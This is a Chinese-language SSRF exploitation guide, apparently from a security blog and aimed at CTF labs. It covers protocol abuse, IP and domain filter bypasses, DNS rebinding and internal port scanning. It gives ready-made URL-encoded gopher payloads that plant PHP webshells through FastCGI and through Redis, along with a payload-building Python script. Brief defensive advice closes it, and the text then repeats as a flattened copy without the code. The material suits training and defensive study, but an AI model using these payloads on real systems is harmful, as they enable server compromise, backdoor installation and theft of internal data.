SSRF的利用方式
字数 2331 2025-08-14 12:04:14

SSRF漏洞利用全面指南

0x00 SSRF基础知识

协议利用技能树

  • http://:探测内网主机存活、端口开放情况
  • gopher://:发送GET/POST请求;攻击内网应用(FastCGI、Redis等)
  • dict://:泄露软件版本信息,查看端口,操作内网redis
  • file://:读取本地文件

常见绕过方法

  1. 域名限制绕过

    • http://www.xxx.com@127.0.0.1/flag.php
    • 短网址绕过
    • 特殊域名(.xip.io)
    • 进制转换(十进制/十六进制IP)
  2. IP限制绕过

    • 302跳转
    • 短地址
    • 利用DNS解析
    • 利用[::]添加端口号
    • 各种指向127.0.0.1的地址

漏洞产生函数(PHP)

  • curl()
  • fsockopen()
  • file_get_contents()
  • fopen()
  • readfile()
  • curl_exec()
  • SoapClient

可攻击的内网应用

  • Redis
  • FastCGI
  • MySQL
  • PostgreSQL
  • Zabbix
  • PyMemcache
  • SMTP

0x01 工具与资源

靶场

  • ctfhub
  • SSRF_Vulnerable_Lab

工具

  • rebinder(DNS重绑定)
  • bitly(生成短链接)
  • Gopherus(生成Gopher payload)

0x02 SSRF漏洞详解

定义

SSRF(Server-Side Request Forgery):由攻击者构造形成由服务端发起请求的安全漏洞,能够请求到与服务器相连而与外网隔离的内部系统。

成因

服务端提供了从其他服务器获取数据的功能且没有对目标地址做过滤与限制。

常见场景

  1. 能够对外发起网络请求的地方
  2. 从远程服务器请求资源(上传URL、导入RSS等)
  3. 数据库内置功能
  4. Webmail收取其他邮箱邮件
  5. 文件处理、编码处理等

0x03 SSRF利用技术

一、内网访问

?url=http://127.0.0.1/flag.php

二、伪协议读取文件

PHP支持的伪协议

  • file:// - 本地文件系统
  • http:// - HTTP(s)网址
  • ftp:// - FTP(s) URLs
  • php:// - 输入/输出流
  • zlib:// - 压缩流
  • data:// - 数据
  • glob:// - 文件路径模式
  • phar:// - PHP归档
  • ssh2:// - SSH2
  • rar:// - RAR
  • ogg:// - 音频流
  • expect:// - 交互式流

php.ini关键参数

  • allow_url_fopen:默认On,允许URL封装协议
  • allow_url_include:默认Off,不允许URL包含

示例

?url=file:///var/www/html/flag.php

三、端口扫描

使用dict协议

?url=dict://127.0.0.1:8000

使用http协议确认

?url=http://127.0.0.1:8111

四、Gopher协议利用

格式

gopher://IP:port/_TCP/IP数据流

HTTP GET请求构造

  1. 构造HTTP数据包
  2. URL编码,替换换行为%0d%0a
  3. 最后加%0d%0a表示结束

HTTP POST请求构造
必须包含4个参数:

  • Content-Type
  • Content-Length
  • Host
  • POST参数

Python生成脚本

import urllib.parse

payload = """
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=a68a3b03e80ce7fef96007dfa01dc077
"""

tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

五、攻击FastCGI

原理
设置PHP环境变量:

auto_prepend_file = php://input
allow_url_include = On

这样会在执行PHP脚本前包含POST内容。

利用步骤

  1. 准备一句话木马并base64编码
  2. 构造解码并写入文件的命令
  3. 使用Gopherus生成payload
  4. 对payload进行URL编码
  5. 提交请求

示例

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH123%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%7B%04%00%3C%3Fphp%20system%28%27echo%20%22PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8%2BCg%3D%3D%22%20%7C%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

六、攻击Redis

利用方式

  • 写SSH公钥
  • 利用计划任务反弹shell
  • 直接写webshell
  • 主从复制getshell

步骤

  1. 扫描Redis端口:?url=dict://127.0.0.1:6379
  2. 使用Gopherus生成payload
  3. 对payload进行URL编码
  4. 提交请求

示例

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

七、URL绕过技巧

解析问题利用

http://www.baidu.com@192.168.0.1

后端可能误认为host是www.baidu.com

示例

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

八、数字IP绕过

内网保留地址

  • A类:10.0.0.0~10.255.255.255
  • B类:172.16.0.0~172.31.255.255
  • C类:192.168.0.0~192.168.255.255

绕过方式

  • 十六进制:0xC0A80001
  • 十进制:3232235521
  • 省略模式:10.1代替10.0.0.1

示例

?url=http://0x7F000001/flag.php
?url=http://2130706433/flag.php

九、302跳转绕过

利用方法

  • xip.io:http://192.168.0.1.xip.io
  • 短网址服务

示例

?url=http://0.xip.io/flag.php
?url=https://tinyurl.com/vdt6acjr

十、DNS重绑定

原理

  1. 域名解析到合法IP绕过检查
  2. 由于TTL为0,再次解析到内网IP
  3. 实际请求发送到内网

实现方式

  1. 子域绑定到两个不同IP
  2. 设置TTL很短的DNS服务器,在两个IP间切换

工具

  • rebinder

示例

http://7f000001.767b6446.rbndr.us/box.txt

十一、内网服务扫描

利用MySQL连接功能
通过错误信息判断端口状态:

  1. 端口开放且运行MySQL:无错误
  2. 端口开放但无MySQL服务:"MySQL has gone away"
  3. 端口关闭:"Connection refused"
  4. IP不存在:"Third party not responding"

步骤

  1. 使用fping探测存活主机
  2. 对存活主机进行端口扫描

十二、文件读取利用

危险函数

file_get_contents($file);

利用方式

file:///etc/passwd
file:///c:/windows/system32/drivers/etc/hosts
http://localhost/box.txt

修复方案

  1. 在用户输入前添加目录名/绝对路径
  2. 过滤../防止目录遍历
  3. 禁用危险协议

总结

SSRF漏洞危害严重,可导致内网渗透、敏感信息泄露等。防御关键在于:

  1. 严格过滤输入
  2. 禁用不必要的协议
  3. 实施白名单机制
  4. 设置适当的网络隔离

攻击者会不断寻找新的绕过方法,防御措施需要持续更新。

SSRF漏洞利用全面指南 0x00 SSRF基础知识 协议利用技能树 http:// :探测内网主机存活、端口开放情况 gopher:// :发送GET/POST请求;攻击内网应用(FastCGI、Redis等) dict:// :泄露软件版本信息,查看端口,操作内网redis file:// :读取本地文件 常见绕过方法 域名限制绕过 : http://www.xxx.com@127.0.0.1/flag.php 短网址绕过 特殊域名(.xip.io) 进制转换(十进制/十六进制IP) IP限制绕过 : 302跳转 短地址 利用DNS解析 利用 [::] 添加端口号 各种指向127.0.0.1的地址 漏洞产生函数(PHP) curl() fsockopen() file_get_contents() fopen() readfile() curl_exec() SoapClient 类 可攻击的内网应用 Redis FastCGI MySQL PostgreSQL Zabbix PyMemcache SMTP 0x01 工具与资源 靶场 : ctfhub SSRF_ Vulnerable_ Lab 工具 : rebinder(DNS重绑定) bitly(生成短链接) Gopherus(生成Gopher payload) 0x02 SSRF漏洞详解 定义 SSRF(Server-Side Request Forgery):由攻击者构造形成由服务端发起请求的安全漏洞,能够请求到与服务器相连而与外网隔离的内部系统。 成因 服务端提供了从其他服务器获取数据的功能且没有对目标地址做过滤与限制。 常见场景 能够对外发起网络请求的地方 从远程服务器请求资源(上传URL、导入RSS等) 数据库内置功能 Webmail收取其他邮箱邮件 文件处理、编码处理等 0x03 SSRF利用技术 一、内网访问 二、伪协议读取文件 PHP支持的伪协议 : file:// - 本地文件系统 http:// - HTTP(s)网址 ftp:// - FTP(s) URLs php:// - 输入/输出流 zlib:// - 压缩流 data:// - 数据 glob:// - 文件路径模式 phar:// - PHP归档 ssh2:// - SSH2 rar:// - RAR ogg:// - 音频流 expect:// - 交互式流 php.ini关键参数 : allow_url_fopen :默认On,允许URL封装协议 allow_url_include :默认Off,不允许URL包含 示例 : 三、端口扫描 使用dict协议 : 使用http协议确认 : 四、Gopher协议利用 格式 : HTTP GET请求构造 : 构造HTTP数据包 URL编码,替换换行为 %0d%0a 最后加 %0d%0a 表示结束 HTTP POST请求构造 : 必须包含4个参数: Content-Type Content-Length Host POST参数 Python生成脚本 : 五、攻击FastCGI 原理 : 设置PHP环境变量: 这样会在执行PHP脚本前包含POST内容。 利用步骤 : 准备一句话木马并base64编码 构造解码并写入文件的命令 使用Gopherus生成payload 对payload进行URL编码 提交请求 示例 : 六、攻击Redis 利用方式 : 写SSH公钥 利用计划任务反弹shell 直接写webshell 主从复制getshell 步骤 : 扫描Redis端口: ?url=dict://127.0.0.1:6379 使用Gopherus生成payload 对payload进行URL编码 提交请求 示例 : 七、URL绕过技巧 解析问题利用 : 后端可能误认为host是www.baidu.com 示例 : 八、数字IP绕过 内网保留地址 : A类:10.0.0.0~10.255.255.255 B类:172.16.0.0~172.31.255.255 C类:192.168.0.0~192.168.255.255 绕过方式 : 十六进制: 0xC0A80001 十进制: 3232235521 省略模式: 10.1 代替 10.0.0.1 示例 : 九、302跳转绕过 利用方法 : xip.io: http://192.168.0.1.xip.io 短网址服务 示例 : 十、DNS重绑定 原理 : 域名解析到合法IP绕过检查 由于TTL为0,再次解析到内网IP 实际请求发送到内网 实现方式 : 子域绑定到两个不同IP 设置TTL很短的DNS服务器,在两个IP间切换 工具 : rebinder 示例 : 十一、内网服务扫描 利用MySQL连接功能 : 通过错误信息判断端口状态: 端口开放且运行MySQL:无错误 端口开放但无MySQL服务:"MySQL has gone away" 端口关闭:"Connection refused" IP不存在:"Third party not responding" 步骤 : 使用fping探测存活主机 对存活主机进行端口扫描 十二、文件读取利用 危险函数 : 利用方式 : 修复方案 : 在用户输入前添加目录名/绝对路径 过滤 ../ 防止目录遍历 禁用危险协议 总结 SSRF漏洞危害严重,可导致内网渗透、敏感信息泄露等。防御关键在于: 严格过滤输入 禁用不必要的协议 实施白名单机制 设置适当的网络隔离 攻击者会不断寻找新的绕过方法,防御措施需要持续更新。